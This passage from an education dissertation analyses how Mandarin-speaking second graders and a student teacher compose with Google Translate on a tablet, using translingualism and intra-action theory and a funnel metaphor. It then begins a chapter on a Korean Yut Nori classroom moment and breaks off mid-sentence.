opportunities in classrooms with emergent bi/multilingual children for multiple reasons. First, hardware and software are noted as having the potential to redistribute relational connections between children and teachers by bringing home languages into the classroom and by encouraging the process of making meaning with resources that extend beyond traditional verbal and written forms (Dagenais et al., 2017; Mundt & Groves, 2016; Prince, 2017; Rowe & Miller, 2016; Toohey et al., 2015). Tablet computers and software applications are noted as furthermore producing an ambiguity over who was more knowledgeable or the “native speaker” (Knight & Dooley, 2015; Lawrence, 2018; Toohey et al., 2015). They additionally make different proficiencies in English reading and writing less relevant compared to experiences with media and innovative approaches to composing (Smythe et al., 2014; Toohey & Dageneis, 2015). **Digital Devices: Transformations, Affective Connections, Algorithms, and Human-non-Human Networks.** Another strand of children and youth literacies scholarship has begun to theorize the two-way exchange between shape-shifting tablet computers and digital technologies, and what children and youth can do and become with these transformations (Burnett, 2017; Burnett & Merchant, 2017; Ehret et al., 2016; Hollett & Ehret, 2017). This body of work suggests we miss significant aspects of exchanges by foregrounding human bodies working with hardware or what is *visible* on a computer screen. Instead, this literature asks that we attune to the often invisible affective intensities produced through intra-actions of children and youth’s moving bodies, and the material characteristics of digital devices and place (Hollett & Ehret, 2017; Lenters, 2016; Wargo, 2015). Scholarship in media studies adds to what *else* might be invisible in exchanges suggesting we must also attend to interactions with *software* invisible at the user-interface-level. For example, Langlois (2014) suggests we reconceptualize *meaning* as “software applications that talk to each other” (p. 29). By ‘talking’, Langlois refers to language making from the perspective of technology, which to her is an emergent transmission of signals where “different kinds of physical and chemical signals turned into electricity, binary data, and linguistic signs” are networked with a human’s words (p. 13). Langlois points out that when working with technology, it is rarely one software application involved in exchanges with media, but rather multiple software programs that send signals to each other. From a software perspective, then, this exchange is multiple and networked, even thought it might be viewed by the end-user as a singular software application such as Google Translate. Furthermore, media theorists Ramati and Pinchevski (2017) note that Google Translate and the translations its neural network as a human-non-human algorithmic mix. To Ramati and Pinchevski, our analysis must consider Google Translate as more than one player and partner, including multilingual human and non-human translated texts, software applications, and human end-users. **Bridging Insights of Diverse Fields Toward Extending (Machine) Translation in K-8 Classroom.** Bringing the insights from these three diverse fields and theoretical orientations in children’s language and literacies and media theory together suggests translation in classrooms is more-than word-to-word correspondence. Put together they suggest (Machine) Translation in classrooms includes a networked process of emergent bi/multilingual children, hardware, software, algorithms working together and the affective potentials such players and partners bring together. With Barad’s concept of intra-action, the argument of literary translation scholar Scott is extended, suggesting that language making, an adventure of translation, is not primarily orchestrated by a human translator experiencing between an original source text or language and target text and language. Therefore, by bringing empirical work and theoretical approaches across fields together, it becomes clear that current scholarship pertaining to machine translation software in language studies are significantly underestimating the complicated and multi-way give and take negotiation of the relational exchanges between students and software (Case, 2015; Garcia and Pena, 2011; Groves & Mundt, 2015; Vogel et al., 2018). **Analysis I: By Children, Student Teacher with Tablets, Human Translator, Google Translate** Figure 4.6. Video elicitation interviews and ranking of writing workshop moment. I begin the analysis of the writing workshop moment with children and tablets in the classroom, and then move to a second round of analysis in a subsequent section by diffracting translilingualism with intra-action. Over the course of school year, what children and teachers noted about the writing workshop moment changed depending on when the conversation occurred throughout the school year and whether exchanges involved myself, tablet computer, different human translators, and different ways Google Translate’s continually changing neural network was activated. This resonates with Canagarajah’s (2013) and Barad’s (2007) orientation that relations of power change depending on who and what are involved. With one human translator, when I asked Xi Xi Lu and Madeline, “What do you think the kids in (your) class think when they see you with the tablet”, Xi Xi Lu initiated “會覺得我們比較那個吧… (it seems like we’re…)”, and Madeline completed her sentence, “我們像笨蛋 (we’re like idiot )” for working with the tablet. Xi Xi Lu then noted that their peers “覺得我們奇怪吧 (they might feel weird)” when they see only Xi Xi Lu and Madeline with tablets. Indeed, Xi Xi Lu and Madeline’s peers sometimes reported feeling uncomfortable when not being able to understand the Mandarin with tablet. Yet other times, as the teacher noted, their peers without access to Chinese “don’t even seem to notice, sometimes they are curious as to what they are doing and stand behind one of the girls…when they’re translating and just kind of watch it because they think it looks really cool”, she noted. Yet ‘Cool’ is not how Xi Xi Lu and Madeline made sense of working with the tablet in this moment and how this made them appear to their classmates. This held true for Madeline across moments throughout the school year, though was less prevalent for Xi Xi Lu, who in other moments thought she was perceived as capable with the tablet. ‘Cool’ is seemingly not how Xi Xi Lu and Madeline felt when their English-dominant peers sometimes asked them if they needed ‘their tablet’, likely well-intentioned. For example, when Clarisse, Xi Xi Lu’s peer asked one day over-enunciating in a baby-like voice perhaps in attempt to convey care, “can you say it in English, or do you need your tablet?” (4/21/17). I noticed Xi Xi Lu’s body slump and eyes move to the side as she quickly shook her head side to side, “no”. With a different human translator, Xi Xi Lu reported feeling nervous (感覺緊張) because the tablet always translated it (her desired meaning )wrong (因為它總是說錯了) (3/17/17 interview). Madeline responded to Xi Xi Lu, “yeah…I don’t like to use it very much, but if without it, I don’t know how to communicate with the teacher” (是不大喜歡用但如果不用了話 就不知道怎麼跟老師說了). (3/17/17 interview). Madeline’s dad reported a similar dilemma during a home visit that tablets were necessary, but not ideal. To Madeline, with the tablet’s access to Mandarin Chinese and images to facilitate communication brought them further away from an immersion in written and spoken English. With tablets there was a greater risk, as she saw it, of not acquiring the verbal and written English so valued in the narrative of American schooling, and once returning to China. When watching the video of the moment with a human translator, a few days after the moment occurred, Madeline noted that between the student teacher, it was the tablet that could do more in this instance, because it was the only one that knew Chinese and English. Madeline disagreed with Xi Xi Lu. She noted no one could do more in this instance because the student teacher didn’t understand Chinese, and she didn’t understand English. While the student teacher initially agreed with Xi Xi Lu, “I would say the tablet (has control) more than me”, a minute later noted she was able to take control of the powerful tablet, harnessing it to maintain control. “The tablet *was* my control of the situation where I would say if I removed the tablet, they would have been writing in Chinese” (11/16 video elicitation interview). For the classroom teacher, she wanted Xi Xi Lu and Madeline to be writing in Chinese and saw the tablet as a force preventing them from doing so: “now they won’t even try to write in Chinese. Something that we’ve done with everyone is that you have to try it first and I will help you fix it later…because I would love for them to write it in Chinese to keep going” (9.26.16 field notes). To the teacher, the tablet with Google Translate interfered with her writer’s workshop pedagogy of valuing fluency of expression and text production over accuracy of grammar and vocabulary. Despite these noted tensions with the tablet, many other times when watching the video of the moment in the last few months of the school year, the moment was re-storied to be significant and very important because it was so funny. The reason Madeline noted ranking the moment as one of the most significant was her reasoning in English that “the tablet says b(l)ah b(l)ah b(l)ah”, that the tablet speaks nonsense. It was clarified: “the translation is funny because the translation is wrong” (see Figure 4.7). Figure 4.7. The translation is funny because wrong. More Possibilities with the Funnel? Translation Beyond Screen and Linguistic Borders Returning to the funnel, how might the funnel guide making sense of these words of Xi Xi Lu, Madeline, and student teacher and their multiple and often contradictory ways of perceiving the tablet and Google Translate neural network as both restricting, yet a significant moment that is so funny in its mistranslations? To explore additional ways of recognizing engagement, I return to the story of working with Neel and the funnel before considering how this changes the analysis of the moment. *** Before we left the hardware store, watching Neel negotiate the large plastic contraption of the funnel, it seemed the funnel could be and do more than what I imagined it could when participating in the original moment when I primarily saw the funnel as a sieve and narrower. With Neel in the hardware store, in the span of three minutes the hard plastic cone of the funnel transformed to a wizard and gnome hat, a pirate spyglass, a gun, a telescope to view the moon, and a megaphone that announced “LADIES AND GENTLEMEN” through the corridor of hardware store aisle eleven. With the funnel, Neel could be more than what the hardware store employee with orange vest that began to watch us might think—a young boy in a shopping cart. Just as I, the writer of this story with the funnel, can become more than the mama pushing a little boy with the funnel in a cart as I tell this story of the funnel. A few minutes later, walking in the door to our house, with Neel, the funnel became a horn instrument. The warm air from Neel’s lungs and mouth placed on the narrow spout produced a booming “dun-Dun-dun-dun”, close to my ear. The felt force lead me to scrunch my face and shoulders while it sent a chickadee on the nearby cherry tree to flee quickly. Several days later, as part of a science experiment to create a volcano, we poured baking soda into the funnel attached to a glass bottle and white powder became stuck. I banged and shifted the funnel with bottle repeatedly until the powder slowly fell into the bottle below. On another day, Neel placed the funnel on an empty shampoo bottle and added water to the top of the funnel. No water moved outside the funnel, only the inside. The bottle was filled quickly, something not possible without the funnel given the bottle’s narrow spout. On another occasion, I carried a fifty-pound bag of sand from our garage and placed it in a baby pool for Neel to play with. It was left over from Neel’s second birthday party over two years before. I remembered the silky sand from two years prior and how it made dust clouds as it was poured, so I was surprised when my pouring rendered sticky, damp sand ideal for sandcastle building. The moisture of the garage and time had transformed the sand of my memory. Neel took the funnel and immediately began to roll the funnel in the damp sand like a rolling pin. The sand quickly became flat, smooth and taught. It formed sinking indentations in response to my finger pokes, and then became smooth and flat when Neel and the funnel forced it flat like a tamper. Horizontal, when the funnel is flipped on its side like a rolling pin, gravity doesn’t pull the sand to the narrow spout on the other side. Sand is spread and flattened. There is a smaller risk of something falling out the other side, unlike with water in the bathtub. In these moments, when Neel’s water funnel are entangled differently, be it in the bathtub, with volcano making, the hardware store, with sand, on the front porch, there’s a play with the funnel, a push and pull between different relations of Neel’s funnel of what they enable each other to do and become. The funnel as vertical produces Neel as quick bottle filler to wash soap out of hair before it stings his eyes. The funnel as wizard hat produces Neel as book series character. Funnel as pirate spyglass produces Neel as daring captain. Funnel as telescope produces Neel as scientist. Funnel as horned instrument produces Neel as musician and augmenter to bird’s habitat. Funnel as rolling pin produces Neel as momentarily a construction worker, tamping roads to his sand city. Yet while these small moments challenge the initial haunting idea of funnel as limiting, funnel as reducer of possibilities, all of these possibilities still remain. In each of these moments, opportunities might be changed in a matter of a second if the funnel is lifted, filled, pushed on its side or remains vertical. **Analysis II: Returning to Analysis of the Writing Workshop Moment with the Funnel** I return to the analysis of the writing workshop moment several years later after watching the videos with Xi Xi Lu, Madeline, and student teacher in the classroom. The funnel now sits on my desk as I write. It’s large, wide voluminous open top graduates into a foot-long narrow tapered spout smaller than my pinky finger. I find its large, clunky shape grotesque. I am afraid of this funnel. It evokes memories of the sense of risk I initially experienced conceptualizing the tablet and Google Translate neural network as an isolator and marginalizer in the classroom. It’s this fear, however, staying with me, just like the potential of the funnel to transform the relations between the activity, Neel, and myself, that tells me it must be important. What can happen in this new analysis with funnel is just as the many possibilities of what Neel and the funnel can become when entangled together. The funnel then begins to seem less limiting than I initially imagined when I first witnessed the writing workshop moment. What does this suggest for a different analysis of composing in translation with Google Translate in Room 246? Just as with the funnel, there’s a seriousness in the risk of reduction. Google Translate neural network and tablet often produce what is considered a mistranslation, one that is not infallible. From a humanist notion of intentionality, it often does not produce the informational equivalent that Xi Xi Lu, Madeline, teacher, and I might note we are seeking. Yet, the funnel can also be so much more, just as engagement can be in this moment. And so, after three years, I oblige the funnel’s request to engage in an analysis with it. **Engaging in Tensions Through Toggling** Can writing do something other than express? Can the language of translation do more than communicate across written language pairs? Let’s return to Scott’s (2019) translation as an adventure in the experience of language, the sliding across linguistic material with participating human body. How do diffracted concepts of translingualism and intra-action make possible conceptualizing this sloshing linguistic material during the writing workshop? It is possible to not only see the funnel as a vertical sieve where material has the potential to get stuck in its narrowed bottom. With concepts diffracted, the funnel can also be viewed as a long generative incubator tipped on its side (see figure 4.8). Figure 4.8. A pathway of toggling, a thick and dense mixture—cuts of language making from enfolding from figures 4.9-4.11. Just as with Neel rolling the sand, the funnel acts as a dowel of sorts, rolling and re-rolling, flattening the hierarchy between players and partners in the classroom together differently. In the funnel on its side as incubator (Figure 4.8), Xi Xi Lu, Madeline, student teacher, and researcher can enter the funnel and engage with the splattering material. With the funnel now on its side, imagine the writers workshop moment anew, where players and partners are in different configurations. Together logograms, words, algorithms, chemical signals, finger taps, children and teacher bubble and gurgle, slosh around, co-join, re-join in a material-semiotic mashup. With the funnel on its side, translation can be more than an isolating practice of humans with text and machine. Rather, as this mashup of linguistic material becomes momentarily activated with each other there is a variational play of translation, a toggling. Toggling is the back and forth, forth and back of communicating and not communicating (recognizing and not symbolizing signs) and non-indexing/a-signifying affective connections where the tensions between these are engaging. Barad (2014) writes, “even when information is erased (within new intra-actions), the trace of all measurement remains” (p.261). Such toggling, then, is engaging due to the affective connections still existing from former intra-actions even when we have seemingly moved on to a new moment of translation. Affective connections are thus the contrasts of what still remains of Xi Xi Lu and Madeline feeling incompetent with tablet computers with what they call “funny” simultaneously existing in a new moment. In the following section I suggest how translingualism and intra-action make it possible to recognize additional pathways of engagement in Room 246. I begin by zooming in to analyze iterations of language making from moment-to-moment during the writing workshop to emphasize tensions between communicating, not communicating, and non-indexing/a-signifying affective connections. In this zooming in, I also consider tensions of the ambiguous and reluctant entanglements of this linguistic material. Next, I zoom out to suggest how toggling between these language matterings propelled a continued experimentation with the tablet by recognizing the experimentation that provided a pathway of connections for surviving as novices in an American classroom, such as opportunities throughout the school year to blog science content-knowledge, connect with teachers and peers, and journal write in Chinese. *Not composing a written product in English, not socially connecting, what might be described as frustrations* I begin by telling of one zoomed-in freeze-frame iteration of language-making during the writing workshop to begin the story of the toggling that occurs in the funnel on its side. This is the tension produced between two factors: not composing a written product in English, and not *socially* connecting (see Figure 4.9). Figure 4. 9. One cut of language making producing the risk of no written English, not communicating, nor socially connecting with peers/teacher. Recall the opening moment of the writing workshop moment, as players and partners from the bean-shaped table together engage in translation. There is Xi Xi Lu, Madeline and student teacher at a close angle next to each other. The tablet hardware has brought their bodies in proximity in order to hear and speak with the voice activation software (similarly noted by Burnett, 2017; Burnett & Merchant, 2017; Knight & Dooley, 2015). Tablets have transformed the rhythm/speed of the moment (Hollett & Ehret, 2017), a back and forth, forth and back like a slow-moving metronome of sound to text translations and long pauses of waiting in between (Knight & Dooley, 2015; Wohlwend, 2017). As Xi Xi Lu, Madeline, and student teacher pass the tablet like game dice back and forth across the bean-shaped table, it might seem like ‘nothing’ productive is happening in these mistranslations. Yet something *is* happening. The English word ‘house’ is more than the meaning of the words mistranslated from Google Translate’s transnational corpora of books, websites, and feedback from human translators through the Google Translate Community (see Johnson, Schuster, Le et al., 2016; Ramati & Pinchevski, 2017). The Mandarin láojiā spoken by Xi Xi Lu and head nods are furthermore more than the meaning of the words translated by Google translate as “house” and “no”. Between Xi Xi Lu, Madeline, and student teacher, these meshes of sounds, finger taps, tablet, logograph, image, pointing to a drawing, asking questions in English, and scrunched facial expressions or stares are not only a performance of *seeing* and *hearing* communication suggesting the translation is incorrect, as it might from a translingual lens. Translations are *felt* (Barad, 2007). Felt is *lāojiā*, a force of sounds that the student teacher is not trained to hear and has little access. This force of sound and not-good-enough translation is felt by Xi Xi Lu. Xi Xi Lu then responds by spawning ever new Mandarin sounds, head nods, “nonononono”, “no, ehhh” and finger taps, which are perhaps a desperate scavenging of material to push forward and survive in this moment in Room 246 where words that index are sparse. Felt is the force of Xi Xi Lu’s words, a child talking back to the Google Translate neural network, a talking back I never saw her do with student teacher. These words of Google Translate and Xi Xi Lu are felt by the teacher, provoking her to tap on the glass tablet screen: “*tap. tap*. In your house? Is that in your house?” and “*tap*. In your house you were eating ice cream??”. Felt by the algorithms of the voice activation software are these urgent sounds and taps, which in response produce numeric streams, calculating and re-calculating as they intersect with the architecture of Google Translate numerically surging and morphing. Thus, translation as forces felt are forces of sound, talking back, and sound with finger taps that change algorithms, all of which change what translation can be in that moment. This language making, a sloshing of linguistic material felt and miscommunicating, produces the risk of frustrations: not composing a written product in English and not socially connecting. Yet these apparent frustrations and tensions are more profound than the simple explanation of mistranslations produced by Google Translate. Diffracting translingualism with intra-action, I suggest tensions exist because the players and partners noted during the writing workshop moment are reluctantly and ambiguously entangled. Tensions as a *reluctant* entanglement are Xi Xi Lu, Madeline, and student teacher’s apparent reluctance toward their relationship with the tablet and Google Translate neural network as they express during video elicitation interviews in words such as being perceived as “weird”, “idiot”, “nervous”, “don’t like to use it”, the tablet being bilingual while they are not, and “the (tablet) has more control than me”. Analyzing these words with translilingualism suggests in the retrospective narrative accounts of the original moments, Xi Xi Lu, Madeline, and student teacher can express meaning about the original moments and perhaps their intentionality through their spoken words and actions (Canagarajah, 2013). Through a lens of translilingualism these words spoken, actions performed, and pointing to objects such as the continual finger taps, tablet flashing logographs, Xi Xi Lu’s “no, ehhh”, and student teacher’s questions in the original moment can also be analyzed to indicate specific meanings in the specific context of the writing workshop (Kusters, 2018; Lin, 2018). Translingualism further suggests that in the original moment, intentionality may be expressed through the continual usage features (Canagarajah, 2013), such as the repeated finger taps and guessed phrases like “in your house you were eating ice cream?” These could be considered an intentionality of continually searching for a particular way of propelling the interaction forward. It further suggests that being an independent writer is a possibility. Yet the tension comes to play because also using an intra-active lens leads one to question to whom we can attribute these words. Through the lens of intra-action, the voices that comprise the supposed reluctance of the moment such as wanting to break away from the tablet that Xi Xi Lu and Madeline think position them as stupid or idiot, not wanting to be different than peers who don’t need to work with the tablet, working tutorial-style with an adult teacher rather than peers, and copying from the post-it, are a not those of Xi Xi, Madeline, and student teacher. Rather, the reluctant voices and felt frustrations are a multivoiced toggling. The toggling of this ‘voice’ speaking of the original writing workshop moment is the emergent transmission of signals being transmitted through the tablet, where “physical and chemical signals (are) turned into electricity, binary data, and linguistic signs” (Langlois, 2014), and a dynamic neural network comprised of transnational digital texts and websites, human input, Xi Xu, Madeline, teachers, and tablet. Thus, diffracting intra-action with translationalism, Xi Xi Lu and Madeline can never be the independent writers they claim they want to be given their ontological entanglement with tablet and Google Translate neural network. Yet this cut of language making where there is a risk of no written English, not communicating, not connecting breaks apart quickly. **Writer in English, no longer dependent on peer translator, writing not expressing intentions** Continuing to story the toggling in the funnel/incubator on its side, I show that iterations of language making from just a few minutes before are re-combined, producing yet another material-semiotic mashup. Frustration and risk do not sit still. Recall during the original moment when the translation finally seems good-enough, the student teacher writes English words in black letters on Post-it: “I-was-at-an-ice-cream-shop”, and Xi Xi Lu copies this in her notebook, becoming a writer in English. What is good-enough about this translation is perhaps the relief in contrast to the previous moment where language is not symbolizing and cannot be recognized. Thus, zooming in to yet another iteration of this moment is the tension between being writer in English and not dependent on peer translator, and writing not expressing and symbolizing. To the classroom teacher, aligning with the philosophical underpinnings of the writing workshop curriculum, what could seem like an opening of becoming a writer in English, is simultaneously a closing. It is seen as reductive because this version of writing is not an activity of expression rendering reflections of real-world experiences. It is a copying of a stilted English sentence. While this teacher-facilitated copying presents a reductive form of literacy for the classroom teacher, writing as expression is not what Xi Xi Lu and Madeline note is important to them. To Xi Xi Lu and Madeline, there is a slight loss that they must compromise on the meaning of their story. Yet expression is not only what matters in this moment to them. What is significant is that this process of translation it is producing something *other* than expression and story they are telling. Mattering to them is that the lines on their writer’s workshop notebook that were once looming are now filled, producing Xi Xi Lu as writer in English and therefore no longer dependent on the peer translator, Patrick, her top competitor. *Figure 4.10.* A second cut of language making producing Xi Xi Lu as writer in English, no longer dependent on peer translator, writing not expressing. In the funnel as incubator, there is a further tension that runs through this iteration of language making. Attending to the *ambiguity* of the entanglement, translingualism and interaction with each other leave open the question as to the nature of the entanglement. It brings into question the certainty of who are the players and partners in translation at the bean-shaped table. Just as what Google Translate consists of from each moment to the next remains in question as transnational texts and algorithms dynamically come together to comprise its ever-emergent corpora, so too are Xi Xi Lu, Madeline, child, student, and teacher. This tension of tablet and children having porous identities is one explanation for why ‘control’ cannot be clearly located by children and teachers. As the student teacher noted, “The tablet (has more) control than me… the tablet was my control”, and to Madeline the tablet could do more, because it was the only one that knew Chinese and English. Inferred from student teacher and Madeline’s words is that teacher and peer translator are no longer constructed as having more ‘control’ in the classroom than Xi Xi Lu and Madeline, as was often the case in Room 246. The tablet and Google Translate Neural Network could therefore be viewed as players that change the status of power between children and teacher in the classroom (see also Knight & Dooley, 2015; Lawrence, 2018; Toohey et al., 2015 referring to iPads). For example, for the classroom teacher, Google Translate neural network with tablet threatened a ‘control’ of practicing their language ideologies in pedagogical practices, a role often attributed to adult teachers. It prevented her from fostering Chinese in children’s writing practices while for the student teacher, Google Translate neural network, as she says, *is* her control of enforcing monolingual language ideologies centering English. For teachers, an entangling with Google Translate neural network therefore both threatens and makes possible their ‘control’ of practicing their language ideologies in pedagogical practices. Yet according to Madeline and student teacher, it is unclear who and what has this ‘control’ during this moment of translation. The notion of identities being porous and agencies existing in alliance from an intra-active lens is perhaps why ‘control’ feels uncertain and can’t be located in the way Xi Xi Lu, Madeline, and student teacher are perhaps searching for it, attempting to attribute this control or agency to tablet, Google Translate, themselves, or each other. Such a notion of porous identities and distributed agency with an intra-active lens perhaps threatens the independence Xi Xi Lu, Madeline, and student teacher assume is possible. Yet the student teacher seemingly having less ‘control’ does not also suggest more agency for Xi Xi Lu and Madeline. Even though children and teachers may be changing the dynamic network through their finger taps and oral language, ultimately Google appears to be the owner of this network to which they may be entangled with (Beer, 2009; Langlois, 2014). **Child-teacher Connection, Yet Not Understanding or Being Understood** To Xi Xi Lu and Madeline, what is most significant about this moment of writing is what occurs a few minutes later. Ending the story of language making with a funnel on its side from the writing workshop moment is another cut of language making producing a child-teacher connection, yet not understanding or being understood. Iterating and re-iterating, the translation morphs. Recall the moment of mistranslations and laughter. Zooming in, hhhhhhh tablet, student teacher, children (not) good-enough translations finger taps, head nods, Mandarin and English sounds, Google Translate neural network, slide across each other (see figure 4.11). Figure 4.11. A third cut of language making producing a child-teacher connection, yet not understanding or being understood. These components bump into and connect with each other. Imagine that “Protect the environment” and the name of Xi Xi Lu’s sister, words thought to index by student teacher, a potential searching for communicative meaning to link to Madeline’s drawing, are quickly changed into a numerical form, then back into the alphabetical form “pregnant” and “blue”. Yet despite this momentary *understanding* of these words, there is an overall miscommunication, a (not) understanding and (not) being understood as to what is happening in the pictures. Yet as Xi Xi Lu notes, the translation being “wrong”, the “blah, blah, blah” of the tablet, according to her, is what produces the moment as “funny”. It is this funniness, this juxtaposition of an affective connection between child-teacher-Google Translate neural network-tablet, yet not understanding or being understood, that matters to Xi Xi Lu and Madeline. It is this mattering of funniness that produces a child-teacher connection, despite the miscommunication and not understandings that for them renders the moment as engaging. Yet intra-acting with this apparent funniness is the feeling of being seen as “weird” and incompetent with the tablet. **Toggling as Generative for Translation and Engagement** The zoomed in iterations of language making storied as toggling occurring in a funnel on its side emphasize the moment-to-moment tensions in how language-making feels and how it can be heard and seen differently. This process of toggling in language making emphasizes the tensions of these different ways of making sense of language, communicating, and not. Yet it is beyond these individual cuts and iterations that warrant our full attention. *Where* recognizing additional opportunities for engagement is most evident is when zooming out to view these iterations of language-making together as a toggling between communicating, not communicating, non-indexing/a-semiotic affective connections in ambiguous and reluctant entanglements across these micro-moments. Engaging the tensions between what from an intra-active lens is the reality of the entanglements and from a translingual lens, a stated desired reality of the entanglements, suggests what Xi Xi Lu, Madeline, and teachers report holding them back may simultaneously be what is pushing them forward to a different kind of agency that they are not fully able to recognize. Therefore, toggling between communication, miscommunication, and affective connections in this instance is therefore an ambiguous and reluctant process of negotiation, where Xi Xi Lu, Madeline, teachers, and Google Translate neural network are perhaps drawn to the very thing that they report rejecting. For example, Google Translate and tablet, noted tethers, make possible producing text on lined paper, feeling independent, connecting in funniness and confusion, communicating, and enacting pedagogical practices. Yet this agency is one that to Xi Xi Lu and Madeline is masqued as “weird”, where they are “idiot”, and to teachers as having less control than they assume they should have. What is significant about this iterative toggling, is that in this experimentation, it provides what early childhood educator Lenz Taguchi calls a thick and dese mixture of different kinds of ‘material-discursive ‘structures’… a pluralism and multiplicity…that happen and run together or against each other—connect and disconnect—in all different kinds of directions and with different kinds of intensities, force, and speed (2010, p.137). Therefore, engagement in this moment is not created in each of these individual cuts, but rather it is all of these cuts put together, in a back and forth toggling. Becoming engaged in this moment and throughout the second grade school year were these iterations of language with Google Translate, tablet, children, student teacher, put together in a ‘thick and dense mixture’, driving us to continue to experiment and work with tablets and Google Translate despite reported frustrations and discomfort such as feeling “weird” and incompetent with the tablet. Diffracting translingualism with intra-action makes visible how language making is like a toggling of linguistic material heated in an incubator, continually creating new combinations, which communicate, miscommunicate, and do something else in classrooms. Just as innovation often comes from a space of dissatisfaction and impulse to create something other than what is immediately tangible, wanting resolution and a feeling of comfort is the impulse that spawns these individual cuts to continue from moment-to-moment to break apart quickly, enfolding into each other, onto the next, seeking out a more desirable future. If each cut were less tension-filled, Xi Xi Lu, Madeline, and student teacher in working with Google Translate and tablet might stay with each of these individual cuts longer—stalling such a potential pathway of toggling and experimentation. If the residual discomfort of working with tablets enfolding through each intra-action was not present with the comic relief of the mistranslation, and with the aspiration of being an English writer with the tablet, experimentation might have been extinguished. Therefore, it is the tensions that propel the experimentation with tablet. This experimentation produces additional opportunities to engage throughout the school year such as blogging in science, writing in English, writing in Chinese, connecting with teachers, and later peers. These are happenings that likely would not have occurred if such tensions had not spurred experimentation with the tablet. Connections to Classrooms: Engaging Tensions in Toggling to Inspire Possibilities in Composing with Google Translate What might these tensions suggest for classroom practices with tablet and machine translation software such as Google Translate? How might we engage these tensions? How might we cultivate a pathway to facilitate possibilities of translation in classroom practices in the often-messy tensions between communication that signify and not, and connections of language making often not recognized? In linguistically and culturally diverse classrooms, what opportunities can be recognized and cultivated in classrooms beyond focusing on the perhaps tidier immediate translation of language rather than the often messy connecting in language together across spacetimes? Lenz Taguchi (2010) asks us to consider, “what can I do? What can I do to set another wave of diffractions in movement and in another directions? How can I slow down the movement and re-enact and counter-actualize it, and then maybe speed it up again and take it someplace else?” (Lenz Taguchi, 2010, p.178). What Lenz Taguchi is asking us to consider is rather than educators steering pedagogy and curriculum or conducting it, that we instead are enabled to be nurturers and cultivators with the conditions, rhythms, and movement in language making in classrooms of which we as researchers and educators are also a part. Putting Lenz Taguchi into conversation with Scott, I argue translation in Room 246 is a process of experiencing language, where teachers, Google Translate, tablet, children and researchers can play in language together. Translation as Moving of Language Making in Room 246 With Barad’s (2007) agential realism, I claim an ethical pedagogy is what educators facilitate in language making by our playing with human and non-human players and partners in the classroom. As educators, we therefore might consider how to move with the ecology of our classroom practices, drifting with and embracing the toggling of pushing push back and forth in uncomfortable moments with and without Google Translate, where each seems imperfect. We might consider how to be open to and part of dissolving each iteration of language, enfolding it into something else. Perhaps as educators and research we can move with these tensions, just as we were moved by the affective connections produced in classroom language making. Langlois argues that in interactions with media, communication that is meaningful is *both* an “exchange of information and as authentic encounter” that does not necessarily transmit, signify, or index information (p. 146). Bringing Langlois’ work to translingual classrooms, I suggest we might consider that conceptualizing communication in linguistically and culturally diverse classrooms as including affective, felt forces between classroom players and partners that are both a-signifying/non-indexing and not, crashing into each other. Together, connections that mean in ways that are not necessarily patterned and cannot be tidily described might bring tensions to normalized ways of recognizing language. As educators embracing ways of connecting in moment-by-moment entanglements in our classrooms with children, software, and hardware, what if we embraced these tensions despite the discomfort they might provoke? Where might following the tensions lead language making in classrooms? **Recognizing Language Making in Translation** Ethical classroom practices of composing in translation include also recognizing the entanglements of each moment of language making in the classroom, just as I attempt to consider in the previous analysis of the writing workshop moment. It asks us to consider what comes together to produce what’s left out versus what remains in, what’s enabled by each cut of language making, and how engagement is re-worked in different iterations of language making. Thus, in classrooms, we might find ways to notice and recognize language making with software, hardware, and applications beyond the ‘right’ translation or what children can do with and without Google Translate and tablets. What might that look like? Just as what had begun in Room 246, alongside children, pre-service and in-service teachers, we might take photographs, video, and watch language making in progress in order to make visible the material that we are transforming and is transforming us in language making—ideologies, material objects, notions of language, technologies, text, sounds, color, images, and more. We might engage the tensions between named languages, meshes of the material and semiotic to ask how these are productive of what we often consider knowledge production, learning, or findings. What if Google Translate and tablet playing in language are cut in and counted in, projected on a screen for the whole class together, no longer a covert hidden on the side operation predominantly between emergent bilingual children and teachers? What if the translations created through these whole class sharings included meshes of sounds, images, scent, color, material objects, and words that were invited not to signify and index, changing the focus of analysis? What if different types of machine translation software were tried out simultaneously and compared with alternative translations proposed by children, teachers, and what the other players and partners in the classroom inspire? Rather than focusing on what translations are ‘accurate’, how might we explore the different meanings these different translations put together can illuminate? What if we shared and talked about in classrooms with children how playing in language, experimenting with how software such as different applications, hardware (cameras, tablets), compilation of sounds, images, and color change the different translations and the stories that can be told? What if we recognized the different associations in classrooms connected to transnational schooling experiences, just as the transnational multilingual corpora or translated texts and websites that make meaning? What if we recognized electrical impulses of keyboard strikes and long strings of numbers to how we include technology as part of classroom language making. Might we recognize that such components of matter with words create forces that propel? Lenz Taguchi asks that we “look for the material is productive of what children do and say, and how the intra-activities between the material conditions and the actions of the children alter their understandings and strategies” (2010, p. 177). Through this she suggests that by recognizing these less-noticed intra-activities of language making and translation could be a first step to putting this recognition to work in linguistically and culturally diverse classrooms and an additional way to compose in translation. Chapter 5. Post-Election Pajama Day Yut Nori: Engagement as Dis/Continuous and Dis/Located Transglocaltimematterings This chapter begins with making sense of a moment during circle time that bilingual Korean-English speaking second grader, Sapphire, described as confusing. It took place during a morning in January, when the entire second grade class, with me, teacher, and video cameras were sitting on the classroom rug. Ruby and Sapphire sat facing us, demonstrating the Korean game Yut Nori while wearing pajamas. This occurred the day before Lunar New Year and eight days after U.S. President elect Trump began his term in office. The game Yut Nori, a traditional Korean board game played during the Korean Lunar New Year, involves casting sticks (hereafter referred by their name in the game, “yut”) in lieu of dice to determine how many spaces to move ahead on a game board. Yut from Sapphire’s former home in Korea were brought into the classroom because Sapphire and Ruby were writing about Korean Lunar New Year as a non-fiction writing topic in their writer’s workshop class. While the yut from the January moment never work their way into the classroom again, the yut are referenced and felt throughout the school year differently by different players and partners taking part. In the weeks and months after the original moment occurred, memories of this January moment were enfolded, re-incorporated into video-elicitation interviews. In the following excerpts from different video elicitation interviews, there is much discussion of the ambiguous marks on the yut. March 30, 2017: Sapphire tells me, “At first I didn’t realize that it was similar to Chinese, and I was thinking, why didn’t I think of that before?” Sapphire says, “They (Xi Xi Lu, Madeline, Patrick) seemed to know what was written on there (the yut), but they seemed like they didn’t exactly know what they mean…so like Korean mixed Chinese”, she says, her pointer and middle finger making air quotes when she says the words “Korean” and “Chinese”. “It was sort of like the basic language of Korean”, adds Ruby, her Korean-English bilingual classmate. “Until a king made up a different language. And then it’s sort of like half Chinese, half Korean”, adds Sapphire (see Figure 5.1) Figure 5.1. Air quotes and photo elicitation cards. April 28, 2017: Xi Xi Lu, Madeline and Google Translate neural network reported that they too knew the 